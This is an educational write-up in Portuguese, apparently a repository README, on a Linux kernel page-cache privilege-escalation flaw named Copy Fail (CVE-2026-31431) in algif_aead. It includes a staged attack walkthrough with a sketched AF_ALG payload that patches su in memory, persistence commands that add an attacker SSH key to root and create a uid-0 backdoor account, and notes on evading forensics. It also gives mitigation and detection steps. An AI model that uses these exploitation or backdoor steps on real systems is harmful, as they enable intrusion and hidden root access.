CVE-2026-31431 — Copy Fail: Escalação de Privilégios no Kernel Linux

Análise educacional da vulnerabilidade Copy Fail no kernel Linux.
Aborda o mecanismo de corrupção de memória, o fluxo de escalação de privilégios, a fuga de contêineres e as contramedidas defensivas.

⚠️ Aviso Legal

Este repositório é destinado exclusivamente a fins educacionais e de pesquisa.
Não utilize estas informações em sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.
Todos os trechos de código e comandos são fornecidos estritamente para auxiliar na compreensão dos internals do kernel Linux.

Índice

• Visão Geral
• Cartão de Identidade da Vulnerabilidade
• Conceitos Fundamentais
• Como a Falha Funciona
• Fluxo Completo do Ataque
• Por Que É Tão Perigoso
• Observação Prática Segura
• Defesa e Detecção
• Comparação com CVEs Semelhantes
• Glossário
• Referência Rápida

Visão Geral

CVE-2026-31431, também conhecida como Copy Fail, é uma vulnerabilidade do kernel Linux na qual um usuário local sem privilégios pode escalar para root sem nenhuma permissão especial.

O ataque opera inteiramente na RAM. O arquivo em disco nunca é tocado — ou seja, os hashes dos arquivos permanecem intactos, os timestamps não são alterados e os logs de auditoria não registram nada. Quando o sistema é reiniciado, todas as evidências desaparecem.

Usuário normal  →  explora falha do algif_aead  →  sobrescreve page cache  →  root

Propriedades principais:

• ✅ Sem condição de corrida — funciona de forma confiável todas as vezes
• ✅ Disco intocado — a perícia forense não encontra nada
• ✅ Requer apenas uma conta de usuário local padrão
• ✅ Permite fuga de contêiner via page cache compartilhado

Cartão de Identidade da Vulnerabilidade

Conceitos Fundamentais

/usr/bin/su — O Binário Alvo

su (Switch User) permite que um usuário alterne para outra conta — normalmente root. É um binário SetUID:

ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = flag SetUID

A flag s significa: quando qualquer usuário executa este binário, ele é executado com as permissões de root. Isso o torna um alvo de alto valor.

Sua lógica interna (simplificada):

if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

O objetivo do ataque: pular completamente a verificação password_correct().

RAM e Page Cache

Quando o Linux lê um arquivo do disco, ele mantém uma cópia na RAM chamada page cache.

cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← este é o page cache

Buffer e Buffer Seguro

AF_ALG e algif_aead

AF_ALG (Algorithm Family) é uma interface de socket do Linux que permite que programas em espaço de usuário usem funções criptográficas do kernel (AES, SHA, AEAD).

socket(AF_ALG, SOCK_SEQPACKET, 0);  // abre um socket criptográfico

algif_aead é o módulo do kernel que lida com criptografia AEAD (ex.: AES-GCM) através do AF_ALG. A vulnerabilidade reside em sua etapa de cópia de dados.

AF_ALG  →  algif_aead  →  mecanismo AES-GCM  →  buffer de saída
                                ↑
                           A FALHA ESTÁ AQUI

Como a Falha Funciona

A falha não está na lógica de criptografia. Está no gerenciamento de memória — a região de memória errada é selecionada durante uma cópia de dados.

Fluxo normal (sem falha):

destination = safe_output_buffer;       // local correto
memcpy(destination, user_data, size);   // dados gravados com segurança

Fluxo vulnerável (com falha):

destination = buffer + WRONG_OFFSET;    // FALHA: ponteiro errado!
memcpy(destination, user_data, size);   // dados caem no page cache

O kernel deveria gravar no buffer de saída seguro. Devido a um offset calculado incorretamente, ele grava no page cache — que contém a cópia em RAM de /usr/bin/su.

O que o atacante altera na memória

O binário contém código de máquina x86-64. O atacante tem como alvo o salto condicional que aciona a falha de autenticação:

Antes do ataque:

cmp  eax, 0     ; verifica o valor de retorno
jne  0x1234     ; se falhar → salta para negar
call give_root  ; concede root

Depois do ataque (2 bytes alterados na RAM):

cmp  eax, 0     ; igual
90 90           ; NOP NOP ← salto substituído, verificação ignorada!
call give_root  ; a CPU chega aqui diretamente

NOP = No Operation (Nenhuma Operação). A CPU não faz nada e avança — ignorando completamente a verificação de autenticação.

Fluxo Completo do Ataque

Mentalidade Pré-Ataque

"Só preciso de uma conta de usuário normal. O kernel cometerá o erro sozinho.
O disco permanece limpo. Sem logs. Funciona todas as vezes."

Etapa 0 — Reconhecimento

whoami && id
# uid=1000(user) gid=1000(user) ← usuário normal

uname -r
# 6.1.0-generic ← dentro da faixa vulnerável

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confirmado

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG disponível')"

Etapa 1 — Carregar Arquivo no Page Cache

cat /usr/bin/su > /dev/null
# /usr/bin/su agora está carregado no page cache ✓

Etapa 2 — Engenharia Reversa do Binário

xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

Procurando por: o endereço da função de autenticação, o salto condicional jne/jnz e seu offset exato em bytes.

Etapa 3 — Abrir Socket AF_ALG

import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

Etapa 4 — Enviar Payload Personalizado

payload = b'\x90\x90'  # NOP NOP — substitui o salto condicional
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

Etapa 5 — Kernel Sobrescreve o Page Cache

# Internamente no kernel (simplificado):
destination = buffer + crafted_offset  # FALHA: ponteiro errado
memcpy(destination, payload, 2)        # bytes NOP gravados no page cache
# A verificação de senha de /usr/bin/su agora é NOP NOP na RAM

Etapa 6 — Acionamento

su
# Senha: (qualquer coisa — ou apenas pressione Enter)
# root@victim:/# ← ROOT OBTIDO

O que aconteceu: O sistema executou /usr/bin/su a partir da RAM. A verificação de senha era NOP. A CPU a ignorou. give_root() foi chamado diretamente.

Etapa 7 — Persistência (Opcional)

echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

Por Que É Tão Perigoso

Sem Condição de Corrida

Disco Intocado — Perícia Forense Falha

Após o ataque, um investigador forense encontra:

sha256sum /usr/bin/su       # MESMO hash de antes ← disco intocado
diff /usr/bin/su backup/su  # Nenhuma diferença
grep -r 'attack' /var/log/  # Nada
logs do auditd              # Nenhuma gravação de arquivo registrada

Ao reiniciar, a RAM é limpa — todas as evidências desaparecem.

Fuga de Contêiner

Os contêineres isolam o espaço de usuário — mas o kernel é compartilhado, e o page cache é memória do kernel.

Kernel do Host
├── Contêiner 1 (espaço de usuário isolado)
│   └── O atacante está aqui
├── Contêiner 2
└── Processo do Host

Page Cache: COMPARTILHADO entre todos os contêineres e o host!

Caminho de fuga: O atacante no Contêiner 1 lê o /usr/bin/su do host → aciona a falha → o binário do host na RAM é modificado → executar su no host concede root na máquina host.

Afetados: Docker, Podman, LXC, Kubernetes (nós compartilhados) — se o kernel do host for vulnerável.

Observação Prática Segura

Estes são exercícios de observação apenas. Use um ambiente de laboratório (Docker + VM com kernel antigo) para qualquer teste.

Observar o Page Cache

free -h                      # anote o valor de Cache antes
cat /usr/bin/su > /dev/null  # carrega o arquivo no page cache
free -h                      # o Cache aumenta ligeiramente

Visualizar o Mapeamento de Memória do Binário

su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

Inspecionar o Binário

xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

Visualizar o Assembly (gdb)

sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

Hash do Disco vs. RAM

sha256sum /usr/bin/su
# Igual ao disco normalmente — difere após um ataque bem-sucedido
# A comparação com /proc/PID/mem requer root

Defesa e Detecção

Mitigação Imediata

Prioridade 1 — Atualização do Kernel (melhor correção)

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

Prioridade 2 — Desativar o algif_aead

sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

Prioridade 3 — Controles de Acesso
Aplique perfis seccomp com SystemCallFilter em serviços systemd para restringir o acesso ao socket AF_ALG para processos não confiáveis.

Detecção

Detecção em Tempo Real com eBPF

sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERTA: sendmsg do algif_aead pelo PID %d (usuário %d)\n", pid, uid);
  }
'

Endurecimento de Contêineres

# Execute com perfil seccomp (bloqueia AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image

• Use perfis seccomp que bloqueiam a criação de sockets AF_ALG
• Use gVisor ou isolamento de kernel semelhante para cargas de trabalho de alto risco
• Evite contêineres privilegiados
• Defina o sistema de arquivos raiz como somente leitura dentro dos contêineres
• Aplique os Padrões de Segurança de Pods do Kubernetes — política restricted

Comparação com CVEs Semelhantes

A CVE-2026-31431 combina furtividade (disco inalterado) + confiabilidade (sem condição de corrida) + fuga de contêiner — tornando-a exclusivamente perigosa entre sua classe.

Glossário

Referência Rápida

Fluxo do Ataque em Resumo

Checklist de Defesa

• Atualize o kernel para a versão corrigida imediatamente
• Desative o módulo algif_aead se não for necessário
• Ative o monitoramento em nível de kernel com eBPF ou Falco
• Atualize os perfis seccomp dos contêineres para bloquear AF_ALG
• Agende verificações de integridade de binários baseadas em memória
• Revise e atualize o plano de resposta a incidentes

A Frase Resumida

Na CVE-2026-31431, o módulo criptográfico do Linux (algif_aead) possui uma falha de cópia de memória que faz com que dados controlados pelo atacante caiam no page cache em vez do buffer de saída seguro — modificando silenciosamente um binário SetUID na RAM — permitindo que qualquer usuário local obtenha acesso root sem deixar um único rastro no disco.

Este documento foi preparado para compreensão educacional dos internals de segurança do kernel Linux.
— Apenas para Fins Educacionais —

📄 Relatório Completo (PDF)

👉 Baixar Relatório Completo